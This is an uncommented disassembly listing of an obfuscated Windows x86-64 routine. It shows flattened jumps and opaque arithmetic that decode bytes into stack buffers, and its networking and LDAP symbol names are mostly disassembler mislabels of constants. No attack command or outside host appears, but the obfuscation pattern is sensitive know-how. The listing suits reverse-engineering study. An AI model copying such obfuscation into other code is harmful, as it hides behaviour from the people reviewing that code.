jmp 0x14009db68
movabs rdx, 0x61f8818af6704ea8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ce82
movabs rdx, 0xae80b3c04ad019d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009d9f1
movabs rdx, 0xfb08e5f59f2fe4f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009da26
movabs rdx, 0x4791182af38fb020
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
movabs rcx, 0x6e595b0467f2c04
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1c
mov byte [rbp + rdi + 0x9d8], r11b
inc rdi
jmp 0x14009ce82
movabs rcx, 0x536dc7e59adef72c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
cmp r9, 1
jb 0x14009d336
movabs rdx, 0xc0ddff6030ea8708
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x70]
jmp 0x14009dac2
movabs rdx, 0x9ff5fa1aef3ec254
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4c
add r11b, dl
cmp r8, 0x40
jae 0x14009d948
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x14009d84a
movabs rdx, 0xbe2ff5757ca87698
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x28
add r11b, dl
jmp 0x14009d364
movabs rdx, 0xec7e2c50439e8d7c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x14009d974
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14009d734
movabs rdx, 0xe1c604a572964bbc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
jmp 0x14009d3b1
movabs rcx, 0x2a7ba4e03c6d0128
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
movabs rdx, 0x7703d71590cccc50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x14009da26
movabs rdx, 0xc38c094ae52c9778
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14009d9f1
movabs rcx, 0x10143b80398c62a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ce82
movabs rcx, 0x5c9c6db58dec2dc8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
jmp 0x14009db68
movabs rdx, 0xa9249feae24bf8f0
mov ecx, gethostname
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009db3d
movabs rdx, 0xf5acd22036abc418
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009ce82
movabs rdx, 0x423504558b0b8f40
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009ce82
movabs rdx, 0x8ebd368adf6b5a68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009daae
lea rax, [r9 + 8]
cmp r8, rax
jae 0x14009d5f7
movabs rdx, 0xd9bbe6e555d01a6c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009d414
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d638
movabs rcx, 0xb8d3e1a0142455b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
inc rax
cmp r8, rax
jne 0x14009d66c
movabs rdx, 0x6c4baf6abfc48a90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009da26
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d6b1
movabs rdx, 0xd33b4b001704f440
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d6cd
movabs rdx, 0x3a2ae6956e455df0
jmp 0x14009d534
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d703
movabs rcx, 0xeda2b46019e592c8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009d414
movabs rdx, 0x54924ff57125fc78
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
jmp 0x14009dabf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d765
movabs rdx, 0x953dd2701e368094
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xc
jmp 0x14009dabf
inc rax
cmp r8, rax
jne 0x14009d79f
movabs rdx, 0xfc2d6e057576ea44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009d7d4
movabs rdx, 0x631d099accb753f4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009db68
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d819
movabs rdx, 0x1694d765785788cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009d3b4
movabs rdx, 0xca0ca53023f7bda4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
jmp 0x14009d9f1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009d88b
movabs rcx, 0x71a7c3402848ab70
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009d8c0
movabs rdx, 0x3f86fa6ad6c97ed0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009db68
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009d8e1
movabs rdx, 0xf2fec8358269b3a8
mov ecx, 0x34
jmp 0x14009d539
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009d917
movabs rcx, 0xa67696002e09e880
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14009ce82
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009d364
movabs rdx, 0xd663195854a5230
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x14009dabf
movabs rdx, 0x7455cd2adc8abbe0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x9d8]
sub r11b, al
sub r11b, 0x20
add r11b, bl
jmp 0x14009db3d
movabs rcx, 0x27cd9af5882af0b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x9d8]
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x14009d9f4
movabs rcx, 0x2ba02cf012b40674
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2c
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
movabs rdx, 0xc4b0915abb739cc4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
add r11b, dl
movabs rdx, 0x18981daddfb0b24
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x9d8], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0xdb4568c033cb2590
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x9d8], cl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
movabs rdx, 0x43598c656152948c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14009ce82
movabs rdx, 0x8fe1be9ab5b25fb4
mov ecx, 0xa
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rcx, 0x9a99e64586baa174
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x2c
add cl, bl
mov byte [rbp + rdi + 0x9d8], cl
inc r9
dec rdi
inc rdi
jmp 0x14009ce82
movabs rcx, 0x757a553ab2d1c12c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
inc r9
dec rdi
inc rdi
jmp 0x14009ce82
movabs rdx, 0xe8ab9a55b91577c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
movabs rdx, 0x4e11b410325ad64c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x14
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x9d8], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009ce82
movabs rdx, 0x8d33b4b001704f44
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x9d8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009ce82
movabs rdx, 0x1e9ef525951dba1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009ce7e
movabs rdx, 0x6b27275ae97d8544
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009ce6a
lea rcx, [rbp + 0x151ca68]
jmp 0x14009dc29
lea rcx, [rbp + 0x61e4d4]
jmp 0x14009dc29
lea rcx, [rbp + 0x9d8]
mov rdx, rsi
call fcn.140035c60
test al, al
je 0x14009dc87
lea rdx, [0x140225f10]
lea rcx, [rbp + 0x2e8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x98]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
movzx ecx, byte [rax]
mov byte [0x140227d7c], cl
mov byte [rbp + 0xa00], recv
mov byte [rbp + 0xa01], gethostname
mov byte [rbp + 0xa02], Ordinal_41
mov byte [rbp + 0xa03], Ordinal_45
mov byte [rbp + 0xa04], reloc.WS2_32.dll_listen
mov byte [rbp + 0xa05], reloc.WS2_32.dll_send
mov byte [rbp + 0xa06], 9
mov byte [rbp + 0xa07], reloc.WS2_32.dll_sendto
mov byte [rbp + 0xa08], 0xe0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa09], xmm0
mov qword [rbp + 0xa19], rax
mov word [rbp + 0xa21], ax
movabs rdi, 0x87588b356baf664c
movabs rsi, 0xb09f68aabc952b34
movabs r15, 0x80598cb966a6d41c
movabs r14, 0xafec4f37ef4782fc
movabs r13, 0xaf3935c521f9dac4
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009eb5d
movzx r11d, byte [rbp + rbx + 0xa00]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009eb51
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009dd83
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x3c
jmp 0x14009ddd0
je 0x14009eac3
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009ea8b
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009ea38
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009ea0d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009e9df
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009e985
nop word [rax + rax]
cmp r9, rbx
ja 0x14009eb45
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14009de08
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x14
add r10b, dl
jmp 0x14009de50
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009e971
inc rax
cmp r8, rax
je 0x14009e942
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009e91d
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009e8e8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009e8ae
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009e4c5
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009e4a0
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009e46e
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009e443
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14009e42f
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009e40a
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009e3d1
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14009e3ac
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009e383
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009e34d
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009de60
lea r8, [r9 + 2]
lea r9, [r8 + 2]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009eb20
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009eaf7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009e056
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14009e036
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009e017
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009e2e8
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009e288
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009e235
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009e201
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009de60
mov r8, rax
lea r9, [rax + 1]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009e1cb
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14009e1a2
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009e17d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009e144
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009e11f
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009e0fa
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009e0cb
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14009e09d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009e074
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009de60
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x80]
jmp 0x14009de60
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, dl
jmp 0x14009de50
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ddd0
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x5c
add r10b, dl
jmp 0x14009dd45
movabs rdx, 0x3ac459ab5d7b3260
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009e9a9
movabs rcx, 0x3a114038902d8a28
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x395e26c5c2dfe1f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x38ab0d52f59239b8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 8
jmp 0x14009ea59
movabs rcx, 0x37f7f3e028449180
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x14009eaab
movabs rdx, 0x3744da6d5af6e948
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x3691c0fa8da94110
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
jmp 0x14009e82d
movabs rdx, 0x35dea787c05b98d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e864
movabs rcx, 0x352b8e14f30df0a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
movabs rdx, 0xb36bce75f1cbcc14
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0xa00], r10b
inc rbx
jmp 0x14009dd32
movabs rdx, 0xb2b8b503247e23dc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
add r10b, dl
cmp r9, 1
jb 0x14009e225
movabs rdx, 0x23ae11dee6788328
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x30]
jmp 0x14009e9a9
movabs rdx, 0xb2059b9057307ba4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7c
add r10b, dl
cmp r8, 0x20
jae 0x14009e7d4
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14009e66e
movabs rdx, 0x1caf1362e16ff0f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009e255
movabs rdx, 0xb152821d89e2d36c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x28
je 0x14009e805
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14009e5d2
movabs rdx, 0x9556882d75c08aac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009e2a8
movabs rcx, 0x2c134340861c65c8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
movabs rdx, 0x2b6029cdb8cebd90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009e864
movabs rdx, 0x2aad105aeb811558
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
jmp 0x14009e82d
movabs rdx, 0x29f9f6e81e336d20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
movabs rcx, 0x2946dd7550e5c4e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
jmp 0x14009eaab
movabs rdx, 0x2893c40283981cb0
mov ecx, Ordinal_26
jmp 0x14009ea47
movabs rcx, 0x27e0aa8fb64a7478
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x272d911ce8fccc40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x14009dd32
movabs rdx, 0x267a77aa1baf2408
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x38
jmp 0x14009e9a6
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14009e4e6
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14009e300
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e529
movabs rcx, 0xeb1166ad75ecc98
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x28
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
inc rax
cmp r8, rax
jne 0x14009e56e
movabs rdx, 0x10ca62c33f47c540
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e5a0
movabs rcx, 0x117d7c360c956d78
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x48
jmp 0x14009eaab
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009e30c
movabs rdx, 0x1449e20141cc0e58
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
jmp 0x14009e9a6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e604
movabs rdx, 0x9609a1a0430e32e4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
jmp 0x14009e9a6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e63c
movabs rcx, 0x976fd485dda98354
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4c
dec rbx
inc rbx
jmp 0x14009dd32
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009e2ab
movabs rcx, 0x98d6076b7844d3c4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
jmp 0x14009eaab
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009e6b1
movabs rcx, 0x1d622cd5aebd9930
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x50
movzx eax, byte [rbp + rbx + 0xa00]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009dd32
inc rax
cmp r8, rax
jne 0x14009e6e2
movabs rdx, 0x1ec85fbb4958e9a0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
jmp 0x14009e82d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009e728
movabs rdx, 0x1f7b792e16a691d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009dd32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009e75a
movabs rcx, 0x202e92a0e3f43a10
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x70
jmp 0x14009eaab
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009e77b
movabs rdx, 0x20e1ac13b141e248
mov ecx, 4
jmp 0x14009ea47
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009e7b3
movabs rcx, 0x2194c5867e8f8a80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14009dd32
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009e258
movabs rdx, 0x22faf86c192adaf0
mov ecx, gethostname
jmp 0x14009e994
movabs rdx, 0x24612b51b3c62b60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xa00]
add r10b, dl
add r10b, r11b
jmp 0x14009ea5c
movabs rdx, 0x251444c48113d398
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0xa00]
sub r10b, 0x28
add r10b, dl
movabs rdx, 0xa56dd17de7baa7b4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xa00], al
inc r9
